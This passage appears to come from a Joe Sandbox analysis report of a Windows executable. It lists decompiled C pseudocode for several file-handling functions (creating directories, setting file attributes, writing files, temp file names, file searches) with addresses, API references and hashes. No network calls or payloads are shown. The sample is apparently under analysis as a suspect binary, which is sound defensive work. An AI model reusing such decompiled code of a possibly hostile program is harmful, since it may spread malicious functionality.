				_t28 = E00409C49( ~__ecx & __ecx + 0x00000014,  ~__ecx & __ecx + 0x00000014); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t49 - 0xc));
				return _t28;
			}

0x0040a016
0x0040a01b
0x0040a01c
0x0040a021
0x0040a02a
0x0040a031
0x0040a03c
0x0040a040
0x0040a045
0x0040a04b
0x0040a04e
0x0040a056
0x0040a05a
0x0040a061
0x0040a065
0x0040a06a
0x0040a06d
0x0040a070
0x0040a078
0x0040a07c
0x0040a083
0x0040a087
0x0040a08c
0x0040a092
0x0040a097
0x0040a0a2
0x0040a0a6
0x0040a0b0
0x0040a0b8

APIs

__EH_prolog.LIBCMT ref: 0040A016

Part of subcall function 00409C49: __EH_prolog.LIBCMT ref: 00409C4E

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: a5db852efdc6b67417a23c65be594c4014babbfd4966d5bc1e1ef807a1e39f82
Instruction ID: 1dffea12e82b47f2a36155f0264cd4dada82ecc0bfe076f3ab6191fd12039e28
Opcode Fuzzy Hash: a5db852efdc6b67417a23c65be594c4014babbfd4966d5bc1e1ef807a1e39f82
Instruction Fuzzy Hash: 4C118FB0A01254DADB09EBAAC5153EDFBA69FA1318F14419FA542732D2CBF81B048666

Uniqueness

Uniqueness Score: -1.00%

Function 004092E9 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E004092E9(void* __ecx, void* __eflags) {
				signed char _t22;
				void* _t24;
				void* _t45;
				void* _t47;

				E00413954(E00419BF8, _t47);
				_t45 = __ecx;
				_t41 = __ecx + 0x10;
				E00401D7A(__ecx + 0x10,  *((intOrPtr*)(_t47 + 8)));
				_push( *((intOrPtr*)(_t47 + 0xc)));
				_push( *((intOrPtr*)(E00402634(_t47 - 0x18, _t41))));
				 *(_t47 - 4) = 0;
				_t22 = E00405841(__ecx + 0x20, _t41); // executed
				asm("sbb bl, bl");
				 *(_t47 - 4) =  *(_t47 - 4) | 0xffffffff;
				E00403A9C( *((intOrPtr*)(_t47 - 0x18)));
				if( ~_t22 + 1 != 0) {
					 *((intOrPtr*)(_t47 + 8)) = 1;
					E00413D3D(_t47 + 8, 0x41c4c0);
				}
				_t24 = E004042D6();
				 *(_t45 + 0x58) =  *(_t45 + 0x58) & 0x00000000;
				 *((intOrPtr*)(_t45 + 0x88)) = 0;
				 *((intOrPtr*)(_t45 + 0x8c)) = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t47 - 0xc));
				return _t24;
			}

0x004092ee
0x004092f8
0x004092fe
0x00409303
0x00409308
0x00409315
0x0040931c
0x0040931f
0x0040932b
0x0040932d
0x00409333
0x0040933b
0x00409346
0x0040934d
0x0040934d
0x00409355
0x0040935a
0x00409361
0x00409367
0x00409370
0x00409378

APIs

__EH_prolog.LIBCMT ref: 004092EE

Part of subcall function 00402634: __EH_prolog.LIBCMT ref: 00402639

Part of subcall function 00405841: __EH_prolog.LIBCMT ref: 00405846

Part of subcall function 00413D3D: RaiseException.KERNEL32(00000003,00000000,00000003,?,00000003,?,00000003,00000000,00000000,00401055,00000003,?,00000000), ref: 00413D6B

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog$ExceptionRaise
String ID:
API String ID: 2062786585-0
Opcode ID: 0f97881bfda5a338648d471f12701516f54a75613031e54e105c5c79c14cffea
Instruction ID: f7fbb3e9a8787d76bf0f9f15101cef5fd9d7ebfa1ebb25f778e30044bb5e9d70
Opcode Fuzzy Hash: 0f97881bfda5a338648d471f12701516f54a75613031e54e105c5c79c14cffea
Instruction Fuzzy Hash: 7B01D6766406049ACB10EF25C451ADEBBB1FF95318F00852FE896632E1CB785649CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00404D6C Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00404D6C(void* __ecx) {
				signed char _t18;
				intOrPtr* _t24;
				void* _t25;
				void* _t27;
				void* _t30;
				void* _t41;

				E00413954(E004195F0, _t41);
				 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
				_t18 =  *(__ecx + 0x20) >> 4;
				_t46 = _t18 & 0x00000001;
				if((_t18 & 0x00000001) == 0) {
					_t30 = __ecx + 0x28;
					__eflags = _t30;
					_push(_t30);
					_t27 = E00404BDC( *((intOrPtr*)(E00405417(_t41 - 0x18, _t41 + 8))), __eflags);
					_push( *((intOrPtr*)(_t41 - 0x18)));
				} else {
					_push(__ecx + 0x28);
					_t24 = E00405417(_t41 - 0x18, _t41 + 8);
					 *(_t41 - 4) = 1;
					_t25 = E00404C4A(_t24, _t46); // executed
					_t27 = _t25;
					_push( *((intOrPtr*)(_t41 - 0x18)));
				}
				E00403A9C();
				E00403A9C( *((intOrPtr*)(_t41 + 8)));
				 *[fs:0x0] =  *((intOrPtr*)(_t41 - 0xc));
				return _t27;
			}

0x00404d71
0x00404d7d
0x00404d81
0x00404d84
0x00404d86
0x00404da9
0x00404da9
0x00404daf
0x00404dbf
0x00404dc1
0x00404d88
0x00404d8e
0x00404d92
0x00404d99
0x00404d9d
0x00404da2
0x00404da4
0x00404da4
0x00404dc4
0x00404dcc
0x00404dd9
0x00404de1

APIs

__EH_prolog.LIBCMT ref: 00404D71

Part of subcall function 00405417: __EH_prolog.LIBCMT ref: 0040541C

Part of subcall function 00404C4A: __EH_prolog.LIBCMT ref: 00404C4F

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 0829d6d4e2349ba8d3de6fc09fd6bc5a7f7a281632d8264b3d1e6490f9b222f7
Instruction ID: f66e6ca9409e8e8da17af4a7d05db337a423f76100d3163e29410ef6f876c1fe
Opcode Fuzzy Hash: 0829d6d4e2349ba8d3de6fc09fd6bc5a7f7a281632d8264b3d1e6490f9b222f7
Instruction Fuzzy Hash: 4901A2B25101049ACB09EF90C852BED7B70EF94308F00412FE505776D2DB395A99CA48

Uniqueness

Uniqueness Score: -1.00%

Function 004027A6 Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004027A6(void* __ecx) {
				void* _t17;
				signed int _t31;
				intOrPtr _t34;
				void* _t36;

				E00413954(E0041919C, _t36);
				E00401CE1(_t36 - 0x18, __ecx + 0x10);
				_t34 =  *((intOrPtr*)(_t36 + 8));
				_t31 = 0;
				 *((intOrPtr*)(_t36 - 4)) = 0;
				if( *((intOrPtr*)(_t34 + 8)) > 0) {
					do {
						E00401DE3(_t36 - 0x18,  *((intOrPtr*)( *((intOrPtr*)(_t34 + 0xc)) + _t31 * 4)));
						E0040499C( *((intOrPtr*)(_t36 - 0x18))); // executed
						E00401DB8(_t36 - 0x18, 0x5c);
						_t31 = _t31 + 1;
					} while (_t31 <  *((intOrPtr*)(_t34 + 8)));
				}
				_t17 = E00403A9C( *((intOrPtr*)(_t36 - 0x18)));
				 *[fs:0x0] =  *((intOrPtr*)(_t36 - 0xc));
				return _t17;
			}

0x004027ab
0x004027bc
0x004027c1
0x004027c4
0x004027c6
0x004027cc
0x004027ce
0x004027d7
0x004027df
0x004027e9
0x004027ee
0x004027ef
0x004027ce
0x004027f7
0x00402802
0x0040280a

APIs

__EH_prolog.LIBCMT ref: 004027AB

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 01677122db5f9a9dc92e0e68fc714b810c240e95920f6c7928f993aadc845804
Instruction ID: 116dfd3529ede02fc162d870fedee277598c738aed7d6567ac0ffa60a71ea666
Opcode Fuzzy Hash: 01677122db5f9a9dc92e0e68fc714b810c240e95920f6c7928f993aadc845804
Instruction Fuzzy Hash: BCF04F719005069BDB15EB9AC892AEFBBB5FF80308F00403FE142775E2CA787985DB84

Uniqueness

Uniqueness Score: -1.00%

Function 004048B7 Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004048B7(WCHAR* __ecx, long __edx) {
				char _v16;
				void* __ebp;
				signed int _t5;
				void* _t9;

				if( *0x423148 != 0) {
					_t5 = SetFileAttributesW(__ecx, __edx); // executed
					return _t5 & 0xffffff00 | _t5 != 0x00000000;
				}
				_t9 = E0040489C( *((intOrPtr*)(E004048FF( &_v16, __ecx))), __edx);
				E00403A9C(_v16);
				return _t9;
			}

0x004048c7
0x004048f1
0x00000000
0x004048f9
0x004048da
0x004048e4
0x00000000

APIs

SetFileAttributesW.KERNELBASE ref: 004048F1

Part of subcall function 004048FF: __EH_prolog.LIBCMT ref: 00404904
Part of subcall function 004048FF: AreFileApisANSI.KERNEL32(?,?,?,?,?,00000000), ref: 00404920

Part of subcall function 0040489C: SetFileAttributesA.KERNELBASE(?,00000000,00404D1C,?,00000000,0000002A,0000005C,00000003,?,00000000), ref: 0040489E

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$Attributes$ApisH_prolog
String ID:
API String ID: 3885834519-0
Opcode ID: 5b715810b1dd674a34631cbecd8c08cc0b37525bd29b6e223b4e60d05e4c896b
Instruction ID: d8abee0b5bf8aaacd3c7805e8248c04f8c14d25ec22198af343fb12e16f398c4
Opcode Fuzzy Hash: 5b715810b1dd674a34631cbecd8c08cc0b37525bd29b6e223b4e60d05e4c896b
Instruction Fuzzy Hash: 76E02B66F002502BC7103BA5AC065DB3B9D9B81314B20C43BA602A3291E9388E44A258

Uniqueness

Uniqueness Score: -1.00%

Function 0040499C Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040499C(WCHAR* __ecx) {
				char _v16;
				void* __ebp;
				signed int _t5;
				void* _t8;

				if( *0x423148 != 0) {
					_t5 = CreateDirectoryW(__ecx, 0); // executed
					return _t5 & 0xffffff00 | _t5 != 0x00000000;
				} else {
					_t8 = E0040498D( *((intOrPtr*)(E004048FF( &_v16, __ecx))));
					E00403A9C(_v16);
					return _t8;
				}
			}

0x004049a9
0x004049d0
0x004049dc
0x004049ab
0x004049b8
0x004049c2
0x004049cc
0x004049cc

APIs

CreateDirectoryW.KERNELBASE(?,00000000,?,?,00000000), ref: 004049D0

Part of subcall function 004048FF: __EH_prolog.LIBCMT ref: 00404904
Part of subcall function 004048FF: AreFileApisANSI.KERNEL32(?,?,?,?,?,00000000), ref: 00404920

Part of subcall function 0040498D: CreateDirectoryA.KERNELBASE(?,00000000,00405228,?,?,?,?,00000003,?,00000000,?,00000000), ref: 00404990

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDirectory$ApisFileH_prolog
String ID:
API String ID: 1021588753-0
Opcode ID: 64b02790250bc5f7a2d9c9dee2bb0ba3baf7154ac0717740dd27b10109941aca
Instruction ID: 2f64d7a75cdf7ff6db5ed191fdbb19fa086d8aebc57dacf92a4c812467fb8a6f
Opcode Fuzzy Hash: 64b02790250bc5f7a2d9c9dee2bb0ba3baf7154ac0717740dd27b10109941aca
Instruction Fuzzy Hash: 18E0DFA0B002002BCB147B79AC0679E376D4B80218F10867EA652671E1EA7999449608

Uniqueness

Uniqueness Score: -1.00%

Function 004050AB Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004050AB(CHAR* __ecx, CHAR* __edx, CHAR** _a4) {
				int _t4;
				CHAR* _t8;
				CHAR* _t13;
				CHAR** _t15;

				_t15 = _a4;
				_t13 = __edx;
				_t8 = __ecx;
				if(_t15[2] <= 0x105) {
					E0040243E(_t15, 0x105);
				}
				_t4 = GetTempFileNameA(_t8, _t13, 0,  *_t15); // executed
				E00404296(_t15);
				return _t4;
			}

0x004050ad
0x004050b7
0x004050bc
0x004050be
0x004050c3
0x004050c3
0x004050ce
0x004050d8
0x004050e2

APIs

GetTempFileNameA.KERNELBASE(?,?,00000000,00000003,?,?,00000000,004050FF,?,?,?,00405160,?,?,?,00000003), ref: 004050CE

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileNameTemp
String ID:
API String ID: 745986568-0
Opcode ID: b528cc7740eeb1b4bc26185d4807bc948aa73c1e47f21f7391ebf62f515a6cd3
Instruction ID: d5c13e583cf4c34c7a3a11816bb62f42e40da82da4d3cfe63a6d47b8b5213b5b
Opcode Fuzzy Hash: b528cc7740eeb1b4bc26185d4807bc948aa73c1e47f21f7391ebf62f515a6cd3
Instruction Fuzzy Hash: 91E086723016106BD71056699C45A4BA7DEDFD8752F15843FB545E3381D6B48C004A78

Uniqueness

Uniqueness Score: -1.00%

Function 004058CD Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E004058CD(void* __ecx, void* __edx, void* __eflags) {
				void* _t10;
				void* _t25;

				E00413954(E00419718, _t25);
				E00404D51(_t25 - 0x44);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_push(__ecx);
				_t10 = E00405806(_t25 - 0x44, __edx); // executed
				E00403A9C( *((intOrPtr*)(_t25 - 0x1c)));
				 *[fs:0x0] =  *((intOrPtr*)(_t25 - 0xc));
				return _t10;
			}

0x004058d2
0x004058e1
0x004058e6
0x004058ea
0x004058ee
0x004058f8
0x00405905
0x0040590d

APIs

__EH_prolog.LIBCMT ref: 004058D2

Part of subcall function 00405806: __EH_prolog.LIBCMT ref: 0040580B

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 4dbd7d17023fb4ed967e01381c8a8867ec9f7b58b557c0ee91cef2e13e81d9e3
Instruction ID: 5bfd618a99589873673dbdde5608ad138896477ef474a485a6b18cf586c7d2b5
Opcode Fuzzy Hash: 4dbd7d17023fb4ed967e01381c8a8867ec9f7b58b557c0ee91cef2e13e81d9e3
Instruction Fuzzy Hash: E7E01A72D410049ACB05BB95E9526EDB778EF51319F10403BA412725919B785E18CA58

Uniqueness

Uniqueness Score: -1.00%

Function 00405C87 Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00405C87(void** __ecx, void* _a4, long _a8, intOrPtr* _a12) {
				long _v8;
				long _t12;
				signed int _t14;
				void** _t16;

				_t16 = __ecx;
				_push(__ecx);
				_t12 =  *0x42045c; // 0x400000
				if(_a8 > _t12) {
					_a8 = _t12;
				}
				_v8 = _v8 & 0x00000000;
				_t14 = WriteFile( *_t16, _a4, _a8,  &_v8, 0); // executed
				 *_a12 = _v8;
				return _t14 & 0xffffff00 | _t14 != 0x00000000;
			}

0x00405c87
0x00405c8a
0x00405c8b
0x00405c93
0x00405c95
0x00405c95
0x00405c9e
0x00405caa
0x00405cb8
0x00405cbe

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00405CAA

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: e8bb3e3f97a2863afff16af0127552a93838812ee23e56086e0288621279a6ee
Instruction ID: 646c0e8b7f70081892c45aa98fa77e415187d9694f298a279afc83584de54578
Opcode Fuzzy Hash: e8bb3e3f97a2863afff16af0127552a93838812ee23e56086e0288621279a6ee
Instruction Fuzzy Hash: F8E0E575600208FFCB11CF95C801B8E7BF9EB09364F20C069F914AA260D339EA50DF54

Uniqueness

Uniqueness Score: -1.00%

Function 004057CF Relevance: 1.5, APIs: 1, Instructions: 19
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004057CF(void** __ecx, intOrPtr _a4) {
				struct _WIN32_FIND_DATAA _v324;
				int _t7;
				signed int _t10;
				signed int _t11;

				_t7 = FindNextFileA( *__ecx,  &_v324); // executed
				_t11 = _t10 & 0xffffff00 | _t7 != 0x00000000;
				_t16 = _t11;
				if(_t11 != 0) {
					E0040557F( &_v324, _a4, _t16);
				}
				return _t11;
			}

0x004057e2
0x004057ea
0x004057ed
0x004057ef
0x004057fa
0x004057fa
0x00405803

APIs

FindNextFileA.KERNELBASE(000000FF,?,00000000), ref: 004057E2

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 3f971b6e9297c3c0785ec7bffefe866e244883e864d52b31c5d14701259a415c
Instruction ID: a758ab2b17ce6f49d488120cb08fd5c978c50398f8c9baf96463bb2a7ddcf629
Opcode Fuzzy Hash: 3f971b6e9297c3c0785ec7bffefe866e244883e864d52b31c5d14701259a415c
Instruction Fuzzy Hash: 7CD0C231140009ABC711EB21DC41EEA33ADEB04348F144075AA495B1B0EA319D489F54

Uniqueness

Uniqueness Score: -1.00%

Function 00405841 Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00405841(void* __ecx, void* __edx) {
				void* _t11;
				void* _t22;

				E00413954(E004196F0, _t22);
				_push(__ecx);
				 *(_t22 - 0x10) =  *(_t22 - 0x10) | 0xffffffff;
				_t3 = _t22 - 4;
				 *(_t22 - 4) =  *(_t22 - 4) & 0x00000000;
				_t11 = E004055DE(_t22 - 0x10,  *_t3,  *((intOrPtr*)(_t22 + 8)), __ecx); // executed
				E0040551A(_t22 - 0x10);
				 *[fs:0x0] =  *((intOrPtr*)(_t22 - 0xc));
				return _t11;
			}

0x00405846
0x0040584b
0x0040584c
0x00405851
0x00405851
0x0040585c
0x00405866
0x00405871
0x00405879

APIs

__EH_prolog.LIBCMT ref: 00405846

Part of subcall function 004055DE: __EH_prolog.LIBCMT ref: 004055E3
Part of subcall function 004055DE: FindFirstFileW.KERNELBASE(?,?), ref: 00405611

Part of subcall function 0040551A: FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FindH_prolog$CloseFileFirst
String ID:
API String ID: 2004497850-0
Opcode ID: 220b4cbfc40620496b03372d3826f196b8ab05123004ed9f75f8387d5271fe3c
Instruction ID: b7fde63f1f0c292b4e5d00ec8c3d5d27a79480d2707f186765d0e2b5b752fd38
Opcode Fuzzy Hash: 220b4cbfc40620496b03372d3826f196b8ab05123004ed9f75f8387d5271fe3c
Instruction Fuzzy Hash: 7CE04FB1951506ABCB14DF50CC52AEEB734FB1131CF10421EE021722D08B785648CA28

Uniqueness

Uniqueness Score: -1.00%

Function 00405806 Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00405806(void* __ecx, void* __edx) {
				void* _t11;
				void* _t22;

				E00413954(E004196DC, _t22);
				_push(__ecx);
				 *(_t22 - 0x10) =  *(_t22 - 0x10) | 0xffffffff;
				_t3 = _t22 - 4;
				 *(_t22 - 4) =  *(_t22 - 4) & 0x00000000;
				_t11 = E0040553A(_t22 - 0x10,  *_t3,  *((intOrPtr*)(_t22 + 8)), __ecx); // executed
				E0040551A(_t22 - 0x10);
				 *[fs:0x0] =  *((intOrPtr*)(_t22 - 0xc));
				return _t11;
			}

0x0040580b
0x00405810
0x00405811
0x00405816
0x00405816
0x00405821
0x0040582b
0x00405836
0x0040583e

APIs

__EH_prolog.LIBCMT ref: 0040580B

Part of subcall function 0040553A: FindFirstFileA.KERNELBASE(?,?,000000FF), ref: 00405559

Part of subcall function 0040551A: FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$CloseFileFirstH_prolog
String ID:
API String ID: 889498515-0
Opcode ID: bc6002362a3e3570d7b7dbbff413248cb0e6e96336b5f812f3c621cb83c14948
Instruction ID: 15a52a3ac40e1f9f01e416ae3406c700f8aec04b6379e90cb97043f6baa550c5
Opcode Fuzzy Hash: bc6002362a3e3570d7b7dbbff413248cb0e6e96336b5f812f3c621cb83c14948
Instruction Fuzzy Hash: 2AE01AB195150AAACB04DB50CC52AEEB760EB1131CF00421AA421722D0877856488A28

Uniqueness

Uniqueness Score: -1.00%

Function 0040F8C3 Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040F8C3(intOrPtr* __ecx, void* __eflags) {
				void* _t8;
				void* _t17;
				intOrPtr _t19;

				E00413954(E0041A808, _t17);
				_push(__ecx);
				 *(_t17 - 4) =  *(_t17 - 4) & 0x00000000;
				 *((intOrPtr*)(_t17 - 0x10)) = _t19;
				_t8 = E0040F648(__ecx, __eflags,  *((intOrPtr*)(_t17 + 8))); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t17 - 0xc));
				return _t8;
			}

0x0040f8c8
